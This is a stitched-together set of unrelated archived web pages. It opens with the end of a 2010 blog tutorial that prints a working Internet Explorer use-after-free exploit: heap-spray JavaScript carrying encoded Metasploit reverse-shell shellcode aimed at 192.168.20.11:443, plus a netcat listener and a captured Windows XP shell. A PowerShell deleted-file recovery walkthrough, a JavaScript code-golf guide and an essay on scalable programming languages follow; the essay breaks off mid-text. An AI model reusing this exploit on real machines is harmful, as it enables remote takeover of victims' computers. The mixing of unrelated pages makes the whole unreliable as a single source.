\{  
Array1\[i\] = document.createElement\("COMMENT"\);  
Array1\[i\].data = "AAA";  
\}  
  
var Element1 = null;  
  
function HeapSpray\(\)  
\{  
Array2 = new Array\(\);  
// msfpayload windows/shell\_reverse\_tcp LHOST=192.168.20.11 LPORT=443 J  
var Shellcode = unescape\(
'%u9090%u9090%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%uc031%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf0e2%u5752%u528b%u8b10%u3c42%ud001%u408b%u8578%u74c0%u014a%u50d0%u488b%u8b18%u2058%ud301%u3ce3%u8b49%u8b34%ud601%uff31%uc031%uc1ac%u0dcf%uc701%ue038%uf475%u7d03%u3bf8%u247d%ue275%u8b58%u2458%ud301%u8b66%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489%u2424%u5b5b%u5961%u515a%ue0ff%u5f58%u8b5a%ueb12%u5d86%u3368%u0032%u6800%u7377%u5f32%u6854%u774c%u0726%ud5ff%u90b8%u0001%u2900%u54c4%u6850%u8029%u006b%ud5ff%u5050%u5050%u5040%u5040%uea68%udf0f%uffe0%u89d5%u68c7%ua8c0%u0b14%u0268%u0100%u89bb%u6ae6%u5610%u6857%ua599%u6174%ud5ff%u6368%u646d%u8900%u57e3%u5757%uf631%u126a%u5659%ufde2%uc766%u2444%u013c%u8d01%u2444%uc610%u4400%u5054%u5656%u4656%u4e56%u5656%u5653%u7968%u3fcc%uff86%u89d5%u4ee0%u4656%u30ff%u0868%u1d87%uff60%ubbd5%ub5f0%u56a2%ua668%ubd95%uff9d%u3cd5%u7c06%u800a%ue0fb%u0575%u47bb%u7213%u6a6f%u5300%ud5ff'\);  
var SprayValue = unescape\('%u0c0d'\);  
do \{ SprayValue += SprayValue \} while\( SprayValue.length < 870400 \);  
for \(j = 0; j < 100; j++\) Array2\[j\] = SprayValue + Shellcode;  
\}  
  
function FRemove\(Value1\)  
\{  
HeapSpray\(\);  
Element1 = document.createEventObject\(Value1\);  
document.getElementById\("SpanID"\).innerHTML = "";  
window.setInterval\(FOverwrite, 50\);  
\}  
  
function FOverwrite\(\)  
\{  
buffer =
"\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d";  
for \(i = 0; i < Array1.length; i++\)  
\{  
Array1\[i\].data = buffer;  
\}  
var t = Element1.srcElement;  
\}  
  
</script>  
  
<body>  
<span id="SpanID"><IMG src="/abcd.gif" onload="FRemove\(event\)"
/></span></body></html>  
</body>  
</html>  
  

  
  
  
Lets start a listener on our attacking system:  
  

> root@bt:~\# nc -nvvlp 443  
>  listening on \[any\] 443 ...
  
And open the exploit in our browser  
  

> root@bt:~\# nc -nvvlp 443  
>  listening on \[any\] 443 ...  
>  connect to \[192.168.20.11\] from \(UNKNOWN\) \[192.168.10.27\] 1471  
>  Microsoft Windows XP \[Version 5.1.2600\]  
>  \(C\) Copyright 1985-2001 Microsoft Corp.  
>  
>  C:\Documents and Settings\User\Desktop>
  
W00t\! We have shell.  
  
**  
**  
**A Note About Obfuscation**  
  
If you are reading tutorial as a guide in order to develop some sort of filter
pattern or IDS/IPS signature for this particular exploit \(and part of the
reason I started writing this series was to educate people on how exploits
worked so they could do this\), at this point I should probably make you aware
of how the code for this, and similar exploits can be obfuscated.  
  
My particular version of this exploit has been written to be as readable and
easy to understand as possible, using \(hopefully\) clear variable names,
easily readable layout and structure and no other obfuscation. If you check
out the original exploit, or the Metasploit equivalent, you will see that
strings have been mangled, variable names changed to the incomprehensible,
data has been randomised and code has been obfuscated.  
  
The original exploit code you see at Wepawet for example has already had one
layer of obfuscation removed \(a good dissection of this is here\), and even
after one layer of decoding it is still hiding it's heap spray code inside the
sss variable.  
  
It's important to be aware that it is always possible to use obfuscation in
script based exploits \(including browser exploits\) to disguise pretty much
any code you wish, including the HTML components. This particular
characteristic of script based exploits definitely can make automated
detection very challenging. Time to switch to using Firefox and NoScript ;\)

Posted by lupin at 10:27 PM <img src='img/Temp2_8074' width='18' height='13'
/>

Labels: exploit tutorial, shellcode, tutorial, use after free

####  9 comments:

<img src='img/Temp2_8072' width='35' height='35' />

x9090 said...

    
Hello,  
  
You have a very good exploit tutorial here\!  
  
However I have a few comments here:  
  
// Set parent object to null to trigger heap free\(\)  
  
When you said "heap free\(\)", I will assume that line of code indicates the
allocated memory address space is become invalid. It is a bit ambiguous for me
at first but only after I read further the post at thesecurityblog and only
understand that memory address is valid but only the data is reinitialize to
null by that line of code :\)  
  
By the way, it could be good idea to skip the server configuration part by
running the exploit code in the local machine. Reader might find unecessary to
setup the web server just to follow this tutorial \(just my 2-cent\). One can
test the exploit successfully in the local machine by creating any dummy GIF
\(with real image\) file associated withe the exploit. By doing so reader can
save more time in configuration stuffs. But of course, shellcode payload
genearted by metasploit need to be tweak to corresponding local IP address.  
  
Thanks for sharing this anyway ;\)  
  
Cheers,  
  
x9090  
http://x9090.blogspot.com

  *[10:27 PM]: 2010-01-24T22:27:00+11:00

# How to Recover Deleted Files from the Drive? | CQURE Academy
**Created:**| _5/7/2017 10:51:13 PM_  
---|---  
**Updated:**| _5/7/2017 10:51:13 PM_  
**Author:**| __  
**Tags:**| _Forensics powershell Filesystem_  
  

  

This subject is particularly interesting, because every single time when we
delete data, we search for software that can help us to recover it. Let’s not
forget that we have PowerShell, which is the powerful tool that can help us to
do that too. And everybody has it\!

I will show you how custom simple forensic module with a couple of simple
commands. We’re going to be able to get this file back\!

<img src='img/1-1.png' width='733' height='224' alt='recover deleted files '
/>Above is what my screen looks like right now. We’re going to do a little bit
of forensics here.

Anyway, let’s move on.

We’ve got a certain VHDX. I have already attached this, so this is as an X
drive. In order to recover the file that has been deleted from the disk, we
will, at the very beginning, Import-Module PowerForensics, and we’re going to
see what kind of different types of cmdlet we’ve got for that PowerShell
Forensics.

<img src='img/2-1.png' width='917' height='483' alt='recover deleted files '
/>

Since we’re going to be using different types of tools for file recovery, we
are going to try, for example, to use PowerShell, since PowerShell is so
widely available.

.



How to Recover Deleted Files From the Drive by Paula J

Tweet

.

As you can see, there’s are many different types of Gets, but this Get is
enough for us to grab some information that will allow us to recover the file
from the drive. At the very beginning, what we’re going to be doing is to
display for ourselves any information about all the deleted objects.

<img src='img/3-1-780x286.png' width='780' height='286' alt='recover deleted
files ' />

For example, we can see the file that has been deleted, which is p.exe. Well,
that’s perfect, so what are we going to get there?

Here we can see that this is a record number. Record number is like an inode.
We want to display for now a little bit more information about that particular
record number. For us, we can show the attributes of a certain file like the
allocated size, the real size, which, as you see, they differ, but that’s
standard and this is a little bit of information about what we got over here.

<img src='img/4-1.png' width='760' height='228' alt='recover deleted files '
/>

What is interesting for us is data run and from that perspective, we will be
able to see, of course, a bunch of things related to the data run, which is an
information about the file itself. Let’s find out what kind of type of data
we’re able to extract over here.

<img src='img/5-1.png' width='960' height='264' alt='recover deleted files '
/>

Data run shows us what the starting cluster is and we can see that that’s
8267. We can also know what the cluster length which tells us how big the file
is. This one is 130 clusters long.

Well, the good news is that this particular file is actually kept on a disk in
one piece. It’s not really split into multiple fragments which, from our demo
perspective, also works fantastic. With fragmented files, it’s not really much
complicated, but it requires a little bit of more PowerShell commands, which
makes the whole process a little bit more error-prone.

Let’s have a look at the other information we can get about the drive. For
example, how big is the cluster? Because if we’ve got here information that is
130 clusters long, then maybe we can get a little bit of information how big
the cluster is, then we will be able to see just how we are able to recover
this file. As you see over here, we’ve got bytes per cluster. Perfect.

<img src='img/6-1.png' width='827' height='365' alt='recover deleted files '
/>

Now we are able to run Invoke-ForensicDD. We will use Offset, where we start
from that particular identifier, and that’s the size of a cluster. We will get
the block size, 130, and multiply it by the size of the cluster. Then, we will
save the whole thing into test.exe in the “Analysis” folder. Let’s do that.
Let’s select it and F8. Perfect.

<img src='img/7-1.png' width='1195' height='44' alt='recover deleted files '
/>

We’ve got the recovered file. This is quite nice.

### Checking the Usability Of Recovered Files

Now, the question is if this file really works? We can get into our folder and
we can try to run test.exe and find out what that is. We can see that this is
nothing but PuTTy.

<img src='img/8-1-780x438.png' width='780' height='438' alt='recover deleted
files ' />

Well, that’s really nice, but taking that into consideration, is it possible,
for example, to extract from PuTTy the real size of the file? In a worst case,
we can always shorten it because we have only extracted the whole block of
data. Executables are forgiving for that kind of activity. We can convert that
particular file into the bytes array and, then, we are able to shorten it and
so we save this whole bunch of data into new file called test2.exe.

<img src='img/9-1.png' width='1218' height='93' alt='recover deleted files '
/>

Of course, in this particular case, we can also see that test2 is also PuTTy.
It also works fine for us, so that is actually quite nice.

We are able to do in such situation, in the case of test2, verify if we’ve got
a signature and also get the signature out of here. While test.exe one didn’t
have that, then test2.exe, in this case, did.

At this stage, we are able to, of course, compare this particular file. Let’s
do that. We can run our Explorer and here, we can take the test properties. We
are able to see over here that, in this case, there is no signature and, in
this case, if we go into properties, we’ve got a signature and that signature
is valid.

<img src='img/10-1.png' width='406' height='183' alt='recover deleted files '
/>

The reason why it’s valid is because we have at this stage, just shortened a
file and thanks to that, we were able to get the signature out.

Also, let’s get into a little bit of Forensics here. This is my favorite part.
What we’re going to do on that particular X drive is to create over here a
bunch of files with wipeme.txt and with the name cqure inside.

Now, what we’re going to do is to wipe the free space on the X drive. Before
we do it, we will delete all of the files. We can get into our Explorer, into
analysis and let’s get into our X. We’ve got these files, so I’m just going to
select them and, then, Shift + Delete. Are you sure you want to permanently
delete them? Absolutely. We did that. That’s fine.

Now, the question is, are we able to recover these files? Well, technically,
yes, but let’s wipe the whole free space, just to make sure that it’s not
possible. Let’s do it in case of a X drive. This is exactly what we are doing
right now.

<img src='img/11-1.png' width='984' height='228' alt='recover deleted files '
/>

Right now, we have wiped all the free space. When we deleted the files on X,
all the single unused byte should be written with zeroes and, then, with FF,
and then with some kind of a random value.

### Let’s recover deleted files from the drive

Do we still have some kind of files on the disk? Let’s find out. Get-
ForensicFileRecord and, then, we can see Index 5 that shows we’ve got a root.
This is actually quite interesting. If we, for example, change it to 0 and,
then, we run the command, then we still are able to see that there is
something on a disk, which is actually MFT, which is Master File Table. Master
File Table contains information about all the different types of files that
have being on this disk.

<img src='img/12-1.png' width='1069' height='406' alt='recover deleted files '
/>

Why are we getting to this point? Well, actually, I want to show you something
interesting. We can get the content of the Master File Table and save it in a
particular chosen text file.

<img src='img/13-1.png' width='1180' height='61' alt='recover deleted files '
/>

At this stage, we can find out what is inside that particular file. In this
case, of course, we’ve got a lot of mess, but long story short, we are able to
see the content of the previously deleted files.

<img src='img/14-1.png' width='590' height='561' alt='recover deleted files '
/>

Now, the question is why? Well, the answer to that is actually quite
straightforward. It’s very easy to explain that. The small files, which are up
to approximately 700 bytes, fit entirely into the MFT record and sometimes we
can basically describe them as resident data. If we, for example, delete such
a small file and, then, even though we wipe the unused space, that particular
file, because it’s small, stays in the MFT. This is a pretty nice setup if you
are thinking about the recovery of the small file, especially if you are doing
the forensics so that you are able to always get these little files back.

Now, are we able, for example, to get these files out? Absolutely. This is the
result of the whole architecture. These particular files, when we create them
like this, are just very small and long story short, they are all in the MFT.
This is what I wanted to show you within the Forensics with the PowerShell. As
you see, it is actually quite exciting.

Don’t forget to download PowerForensics Module. It’s free and it allows you to
make the first step into the forensics of the disks and with PowerShell, which
makes it pretty awesome because, at the same time, we learn a little bit of a
PowerShell.

>> Download the PowerForensics Module <<

This is what I wanted to show you. Now, we are able to not only recover files
from the disk by using PowerShell, but also recover small files, even though
they could have been overwritten, but they were not because they were in MFT.

<img src='img/cqure_fb_banner_1200x628_1.jpg' width='1200' height='628'
alt='12 Crucial Windows Security Skills for 2017' />

  

# Byte-saving Techniques - GitHub

**Created:**| _7/19/2011 7:05:57 AM_  
---|---  
**Updated:**| _7/19/2011 7:05:57 AM_  
**Author:**| __  
**Tags:**| _programming JavaScript_  
  

# Byte-saving Techniques

  * New Page
  * Edit Page 
  * Page History 

This is a collection of JavaScript wizardry that can shave bytes off of your
code. It's mainly intended as a reference for those creating entries for
140byt.es. Feel free to add your own or send any feedback to @140bytes.

## Disclaimer

Outside of the 140bytes challenge or other code golf challenges, please be
considerate and don’t pre-minify code you wish to share with others. We have
minifiers for that.

## Arguments

### Use one-letter positional arguments, in alphabetical order

Since arguments will need to be as short as possible, and will likely be
reused within their lifetime, it's best to treat them as positionals instead
of trying to give them meaning through their name. While using one-letter
names marginally aids readability for a single function, keeping a consistent
approach helps readability across all functions.

[code]

    function(t,d,v,i,f){...} // before
    function(a,b,c,d,e){...} // after
    
[/code]

### Test argument presence instead of length

Use `in` to check whether a given argument was passed

[code]

    arguments.length>1||(cb=alert) // before
    1 in arguments||(cb=alert)     // after
    
[/code]

If only truthy arguments are of interest, you can even boil that down to

[code]

    arguments[0]&&(cb=alert)       // works only if arguments[0] coerces to true
    
[/code]

## Variables

### Use placeholder arguments instead of `var`

Save bytes on the `var` declaration by putting placeholder arguments in the
function declaration.

[code]

    function(a){var b=1;...} // before
    function(a,b){b=1;...}   // after
    
[/code]

### Re-use variables where possible

Careful reuse of a variable that is no longer needed can save bytes.

[code]

    setTimeout(function(){for(var i=10;i--;)... }, a) // before
    setTimeout(function(){for(a=10;a--;)... }, a)     // after
    
[/code]

### Assign wherever possible

Since assignment returns the assigned value, perform assignment and evaluation
at the same time to save bytes. A good example of this is @jed's JSONP
function, where the string `script` is assigned in the `createElement` method.

[code]

    a=this.localStorage;if(a){...} // before
    if(a=this.localStorage){...}   // after
    
[/code]

### Use an array to swap variables

An array can be used as a temporary placeholder to avoid declaring another
variable.

[code]

    var a=1,b=2,c;c=a;a=b;b=c // before
    var a=1,b=2;a=[b,b=a][0]  // after
    
[/code]

### Exploit coercion

JavaScript coercion is a blessing and a curse, but sometimes it can be very
useful. @jed's pubsub function decrements a negative variable, and then
concatenates the results with a string, resulting in a string like
`someString-123`, which is exploited later by using the hyphen as a split
token to return the original string.

## Loops

### Omit loop bodies

If you can perform all the logic you need within the conditional part of a
loop, you don't need the loop body. For an example, see @jed's timeAgo
function.

### Use `for` over `while`

`for` and `while` require the same number of bytes, but `for` gives you more
control and assignment opportunity.

[code]

    while(i--){...} // before
    for(;i--;){...} // after
    
    i=10;while(i--){...} // before
    for(i=10;i--;){...}  // after
    
[/code]

FYI, the second argument to a for-loop can be omitted, too - it will only stop
the loop if it returns anything false-y at all.

### Use index presence to iterate arrays of truthy items

When iterating over an array of objects that you know are truthy, short
circuit on object presence to save bytes.

[code]

    for(a=[1,2,3,4,5],l=a.length,i=0;i<l;i++){b=a[i];...}
    for(a=[1,2,3,4,5],i=0;b=a[i++];){...}
    
[/code]

### Use `for..in` with assignment to get the keys of an object

[code]

    a=[];for(b in window)a.push(window[b]) // before
    a=[];i=0;for(a[i++]in window);        // after
    
[/code]

Coercion Hint: you can coerce the counter from an array: `i=a=[];for(a[i++]in
window);`

### Use reverse loops where possible

If an array can be iterated reversely, it may save some bytes:

[code]

    for(a=0;a<x.length;a++)...     // before
    for(a=x.length;a--;)...        // after
    
[/code]

## Operators

### Understand operator precedence

This Mozilla page is an excellent resource to get started.

### Understand bitwise operator hacks

### Use `~` with indexOf to test presence

[code]

    hasAnF="This sentence has an f.".indexOf("f")>=0 // before
    hasAnF=~"This sentence has an f.".indexOf("f")   // after
    
[/code]

### Use `,` to chain expressions on one conditional line

[code]

    with(document){open();write("hello");close()}
    with(document)open(),write("hello"),close()
    
[/code]

### Use `[]._` instead of `void 0`, instead of `undefined` \(`""._`, `1.._`
and `0[0]` also work, but are slower\)

### Remove unnecessary space after an operator

Whitespace isn't always needed after an operator, and sometimes may be
omitted:

[code]

    typeof [] // before
    typeof[]  // after
    
[/code]

## Numbers

### Use `~~` and `0|` instead of `Math.floor` for positive numbers

Both of these operator combos will floor numbers \(note that since `~` has
lower precedence than `|`, they are not identical\).

[code]

    rand10=Math.floor(Math.random()*10) // before
    rand10=0|Math.random()*10           // after
    
[/code]

If you are flooring a quotient where the divisor is a multiple of 2, a bit-
shift-right will perform both operations in one statement:

[code]

    Math.floor(a / 2) // before
    a >> 1            // after
    
    Math.floor(a / 4) // before
    a >> 2            // after
    
[/code]

### Use `A + 0.5 | 0` instead of `Math.round` for positive numbers
[code]

    Math.round(a) // before
    a+.5|0        // after
    
[/code]

### Use `AeB` format for large denary numbers

This is equivalent to `A*Math.pow(10,B)`.

[code]

    million=1000000 // before
    million=1e6     // after
    
[/code]

### Use `A<<B` format for large binary numbers

This is equivalent to `A*Math.pow(2,B)`. See @jed's rgb2hex for an example.

[code]

    color=0x100000 // before
    color=1<<20    // after
    
[/code]

### Use `1/0` instead of `Infinity`

It’s shorter. Besides, division by zero gets you free internet points.

[code]

    [Infinity,-Infinity] // before
    [1/0,-1/0]           // after
    
[/code]

### Exploit the "falsiness" of 0

When comparing numbers, it's often shorter to munge the value to 0 first.

[code]

    a==1||console.log("not one") // before
    ~-a&&console.log("not one")  // after
    
[/code]

### Use `~` to coerce any non-number to -1,

Used together with the unary `-`, this is a great way to increment numerical
variables not yet initialized. This is used on @jed's JSONP implementation.

[code]

    i=i||0;i++ // before
    i=-~i      // after
    
[/code]

### Use coercion to check for type number

+i will coerce i to a Number or NaN - so if it is anything else but a Number,
this will turn false - **Warning:** if someone goes really crazy on the
prototypes, this will probably fail.

[code]

    if(typeof i=='number')... // before
    if(+i===i)...            // after
    
[/code]

## Strings

### Split using 0

Save two bytes by using a number as a delimiter in a string to be split, as
seen in @jed's timeAgo function.

[code]

    "alpha,bravo,charlie".split(",") // before
    "alpha0bravo0charlie".split(0)   // after
    
[/code]

### Use the little-known `.link` method

Strings have a built-in `.link` method that creates an HTML link. This is used
in @jed's linkify function.

[code]

    html="<a href='"+url+"'>"+text+"</a>" // before
    html=text.link(url)                   // after
    
[/code]

### Use `.search` instead of `.indexOf`

First, because this RegExp implicite is 1 byte shorter, but you get the added
value of coercion of undefined to /undefined/ instead of '' being matched at
position zero. This is used in @atk's base64decoder function.

Strings also have several other methods related to HTML, as documented here.

### Use `replace` or `.exec` for powerful string iteration

Since the `.replace` method can take a function as its second argument, it can
handle a lot of iteration bookkeeping for you. You can see this exploited in
@jed's templates and UUID functions.

### Use `Array` to repeat a string

[code]

    for(a="",i=32;i--;)a+=0 // before
    a=Array(33).join(0)     // after
    
[/code]

### Use coercion to test for String format

Instead of using `typeof x=='string'`, you can use `''+x===x`.

## Conditionals

### Use `&&` and `||` where possible

[code]

    if(a)if(b)return c // before
    return a&&b&&c     // after
    
    if(!a)a=Infinity // before
    a=a||Infinity    // after
    
[/code]

## Arrays

### Use elision

Array elision can be used in some cases to save bytes. See @jed's router API
for a real-world example.

[code]

    [undefined,undefined,2] // before
    [,,2]                   // after
    
    // Note: Be mindful of elided elements at the end of the element list
    [2,undefined,undefined] // before length is 3
    [2,,]                   // after length is 2
    
[/code]

### Use coercion to do `.join(',')`

You can use `''+array` instead of `array.join(',')` since the default
separator of arrays is ",".

Warning: this will only work if the contents of the Array are true-ish
\(except false\) and consist of Strings \(will not be quoted\!\), Numbers or
Booleans, Objects and Arrays within arrays may lead to unwanted results:

[code]

    ''+[1,true,false,{x:1},0,'',2,['test',2]]
    // "1,true,false,[object Object],0,,2,test,2"
    
[/code]

## Regular Expressions

### Denormalize to shorten

While `/\d{2}/` looks smarter, `/\d\d/` is shorter.

###  `eval` for a regexp literal can be shorter than `RegExp()`

[code]

    r=new RegExp("{"+p+"}","g") // before
    r=eval("/{"+p+"}/g")    // after
    
[/code]

###  `eval` around String.replace\(\) instead of callback

If a callback is used to achieve a certain effect on the output, one can use
replace to build the expression that achieves the same effect and evaluate it
\(the more complicated the matches are, the less this will help\):

[code]

    x.replace(/./,function(c){m=m+c.charCodeAt(0)&255})  // before
    eval(x.replace(/./,'m=m+"$&".charCodeAt(0)&255;'))   // after
    
[/code]

## Booleans

### Use `!` to create booleans

`true` and `false` can be created by combining the `!` operator with numbers.

[code]

    [true,false] // before
    [!0,!1]      // after
    
[/code]

## Functions

### Use named functions for recursion

Recursion is often more terse than looping, because it offloads bookkeeping to
the stack. This is used in @jed's walk function.

### Use named functions for saving state

If state needs to be saved between function calls, name the function and use
it as a container. This is used for a counter in @jed's JSONP function.

[code]

    function(i){return function(){console.log("called "+(++i)+" times")}}(0) // before
    (function a(){console.log("called "+(a.i=-~a.i)+" times")})           // after
    0,function a(){console.log("called "+(a.i=-~a.i)+" times")}           // another alternative
    
[/code]

### Omit `()` on `new` calls w/o arguments

`new Object` is equivalent to `new Object()`

[code]

    now = +new Date() // before
    now = +new Date   // after
    
[/code]

### Omit the `new` keyword when possible

Some constructors don't actually require the `new` keyword.

[code]

    r=new Regexp(".",g) // before
    r=Regexp(".",g)     // after
    
    l=new Function("x","console.log(x)") // before
    l=Function("x","console.log(x)")     // after
    
[/code]

### The `return` statement

When returning anything but a variable, there’s no need to use a space after
`return`:

[code]

    return ['foo',42,'bar']; // before
    return['foo',42,'bar'];  // after
    return {x:42,y:417}; // before
    return{x:42,y:417};  // after
    return .01; // before
    return.01;  // after
    
[/code]

### Use the right closure for the job

If you need to execute a function instantly, use the most appropriate closure.

[code]

    ;(function(){...})() // before
    new function(){...}  // after, if you plan on returning an object and can use `this`
    !function(){...}()   // after, if you don't need to return anything
    
[/code]

## In the browser

### Use browser objects to avoid logic

Instead of writing your own logic, you can use browser anchor elements to
parse URLs as in @jed's parseURL, and text nodes to escape HTML as in @jed's
escapeHTML.

### Use global scope

Since `window` is the global object in a browser, you can directly reference
any property of it. This is well known for things like `document` and
`location`, but it's also useful for other properties like `innerWidth`, as
shown in @bmiedlar's screensaver.

## Delimiters

Only use `;` where necessary. Encapsulate in other statements if possible,
e.g.

[code]

    x=this;a=[].slice.call(arguments,1);
    a=[x=this].slice.call(arguments,1);
    
[/code]

## APIs

### Pass static data via argument where possible

### Use extra bytes to provide default values

### Do one thing and do it well

##

# Mike Vanier: opinions

**Created:**| _10/26/2009 9:41:09 PM_  
---|---  
**Updated:**| _10/26/2009 9:41:20 PM_  
**Author:**| __  
**Tags:**| _LOLZ_  
  

# Scalable computer programming languages

* * *
_There will always be things we wish to say in our programs that in all known
languages can only be said poorly._ \-- Alan Perlis  
---  
## **NOTE**

If you're going to send me email comments about this article, please keep a
few things in mind:

  1. I wrote this article a long time ago \(in 2001, if memory serves\), and frankly I'm not that interested in discussing it anymore. These days I'd rather write programs and teach programming languages than write opinion pieces. 
  2. The article accurately reflects my opinions as of the time I wrote it, but may not accurately reflect my current opinions. 
  3. I didn't post this article to reddit.com or to any other site. I have no interest in drumming up traffic to this page. 
  4. I've received some surprisingly hostile emails from people who disagree with me. To those people: please realize that this is a rant, an opinion piece. If you don't agree with me, feel free to write your own opinion piece. But name-calling and trolling just makes you look bad and undercuts your own arguments. I won't respond to trolls, even if they also have some good points to make. If you can't talk civilly, talk to someone else. I am continually astonished by how angry comparative discussions of programming languages can get. Can't we all get along? There are more important things to get mad about, like cancer, world hunger, nuclear proliferation, etc. 
  5. That said, I welcome constructive comments. In fact, I've received a number of insightful comments, and I've added some notes at the end summarizing some of the feedback I've received as well as some of the ways my views have shifted since I originally wrote this. 

## Introduction

Computer programmers often use the word **scalable** to describe a desirable
feature of a program or algorithm. The idea is that something that is scalable
not only works for very small scale jobs but is equally effective \(or nearly
as effective\) when the job in question is much larger \(or, more commonly,
when the job grows from being small to being large\). A trivial example of
poor scalability might be an inefficient algorithm used in a prototype
implementation of a program. It works fine as long as only very small data
sets are being used, but it breaks down when larger data sets are used because
the computation takes so much time that the program effectively grinds to a
halt. This kind of scalability is well understood by any decent programmer. A
different kind of scalability is represented by the architecture of a computer
program. A program that can't easily be extended to cope with new requirements
is called _brittle_ , which is the opposite of scalable. Since effectively all
programs that are successful grow new parts, a nonscalable program usually
will require a total rewrite when the requirements change, which is very
wasteful. The usual reason for this kind of non-scalability is poor design
abstraction; too many fundamental design decisions have been hard-wired into
the code in so many places that it is difficult to change them all without
introducing lots of bugs. Many, many books have been written about good
program design; a classic is Abelson and Sussman's Structure and
Interpretation of Computer Programs, which covers this and much more
interesting material as well and is highly recommended. But that's not what I
want to talk about here. What I want to talk about is what makes _computer
programming languages_ scalable or not. I want to show that the notion of
scalability is every bit as valid when applied to programming languages as it
is when applied to programs or algorithms. I'll also discuss several well-
known and not so well-known programming languages from this perspective and
give some concrete recommendations, as well as discuss some of the social
factors which hinder progress in this field.

## What is a scalable computer language?

Simply put, a scalable computer language is a language that one can write very
large programs in \(and extend very large programs that have already been
written\) without feeling an undue amount of pain. In a scalable programming
language, the difficulty of managing the complexity of the program goes up
roughly linearly with the size of the program. Conversely, a nonscalable
computer language is one in which increasing the size and scope of a problem
tends to make the program much harder to manage \(_i.e._ the complexity of the
program goes up much more than linearly with its size\).

## Aspects of a programming language that affect scalability

### Garbage collection: very, very good

Garbage collection \(GC\) means that the computer language \(literally, the
computer language's runtime system\) automatically manages the reclamation
\("freeing"\) of memory that is no longer being used. This is a **huge** win
for the programmer, and can dramatically increase the scalability of the
language. The reason is simple. It's usually obvious where one has to allocate
memory. It can be very difficult to know exactly when it's safe to free it.
This is especially true when references to the allocated memory are passed
around, returned from functions, stored in multiple data structures that are
later deleted \(or not\), etc. etc. The effects of this are very insidious.
Languages without GC implicitly discourage the programmer from using all but
the simplest data structures, because more often than not, the memory
management problem quickly becomes intractable when using more complex data
structures. What usually happens in practice is that the programmer rolls
his/her own \(bad\) garbage collector \(maybe a reference counter\), with
performance that is usually worse than what you would get if you used a
language with GC built in.

I saw a rather stark example of this recently. One of the things I do
professionally is teach the C programming language to Caltech undergraduates.
I emphasized how important it was to always free memory that had been
allocated. However, many of my students simply ignored me, and their code was
littered with memory leaks. I got so tired of writing "this code has a memory
leak here" on their assignments that I wrote a very simple memory leak
checker. They are now required to write code that passes through the memory
leak checker without any reported leaks before they submit their assignments.
However, I was somewhat dismayed to find that my own answers to the
assignments had a couple of subtle memory leaks as well\! Since I have more
than ten years of C programming experience, and have worked on several very
large projects, this suggests to me that manual memory management is much
harder than I'd previously supposed it to be.

There is a cost to GC, both in time and space efficiency. Well-designed
garbage collectors \(especially generational GC\) can be extremely efficient
\(more efficient, for instance, than naive approaches such as reference
counting\). However, in order to do this they tend to have significantly
greater space usages than programs without GC \(I've heard estimates on the
order of 50% more total space used\). On the other hand, a program that leaks
memory has the greatest space usage of all. I've wasted way too much of my
life hunting down memory leaks in large C programs, and I have no interest in
continuing to do so.

In conclusion, I would say that of all the items I'm discussing here, GC is
the single most important one to ensure that a programming language is
scalable. This is why programmers who move from a language without GC \(say
C++\) to one of roughly equivalent abstractive power but with GC \(say Java\)
invariably say how much happier they are now that they don't have to worry
about memory management and can concentrate on the algorithms they're trying
to write. Personally, I'd rather pull my own teeth out than write a large
project in a language without GC.

### Direct access to memory and pointer arithmetic: very bad

Some computer languages, notably C and C++, allow the programmer to directly
interact with memory addresses through pointers, as well as allowing pointer
arithmetic \(incrementing and decrementing pointer variables\). This kind of
low-level programming is sometimes necessary \(_e.g._ when writing device
drivers\) and sometimes simply useful \(_e.g._ when micro-optimizing code that
has to run as fast as possible\). However, my \(imperfect\) understanding of
the issue is that programming with pointers makes precise garbage collection
impossible, or nearly so. There is a kind of GC called "conservative" garbage
collection \(here is a free implementation of the Boehm-Demers conservative
GC\) which can work with languages like C and C++. It's certainly better than
nothing, but there are no guarantees that all memory will be managed correctly
\(_i.e._ memory leaks are unlikely, but possible\). In practice, this
supposedly isn't a problem, but I note with some interest that very little
C/C++ code that I've seen actually uses conservative GC, and those that do are
usually in code that is implementing a language that includes GC.

The scalability cost of pointers goes far beyond just making GC harder.
Pointers \(and especially pointer arithmetic\) tend to destroy any safety
guarantees you might want to be able to make about a program. It's not hard to
see why. When you have a pointer to \(say\) an integer, and you can add
1,000,000 to that pointer and dereference some random region of memory which
may or may not be part of your program's run-time image, all hell can break
loose. If you're lucky, you'll just get a core dump and your program will
terminate. If you're not so lucky, some part of the program memory will be
corrupted, leading to mysterious bugs that are extremely difficult to track
down, because they manifest themselves far away from where the original
problem was. This leads to a huge increase in debugging times, which
dramatically hurts programmer productivity. As the program gets larger, the
opportunities for this kind of problem increase, which represents a
significant barrier to scalability.

The usual argument in favor of direct pointer manipulations is that they make
it possible to write faster code. This is often true; I've seen cases where
using pointer arithmetic judiciously increased the speed of a program by a
factor of five. However, the reverse is also often true; many program
optimizations \(normally performed automatically by the compiler\) are
rendered much more difficult or impossible in code that uses pointers. In
other words, languages that enable micro-optimizations often make macro-
optimizations impossible.

The author of the Eiffel language, Bertrand Meyer, has said that \(I'm
paraphrasing\) "you can have pointer arithmetic, or you can have correct
programs, but you can't have both". I agree with him. I think that direct
memory access through pointers is the single biggest barrier to programming
language scalability.

None of this is meant to imply that pointers and pointer arithmetic don't have
their place; they are crucial for low-level close-to-the-metal programming.
However, large programs written at a low level are simply not scalable. The
right way to use languages like C is to implement small, focused low-level
components of applications written primarily in higher-level languages. In
fact, this is also the right way to use C++; you write some low-level classes
that use pointers in some of their methods and then encapsulate these methods
so you never have to expose the pointer manipulations to a user of the class.
This would be nearly ideal, except that the compiler has no way to enforce
this; you can always use pointers if you want to.

By the way, there is an interesting language called Cyclone which is
essentially a "safe" variant of C. It has three different types of pointers,
some of which allow pointer arithmetic and some of which don't. Pointer
arithmetic in cyclone is always checked for safety. This language is thus much
safer than C; the run-time cost varies from negligible to substantial.
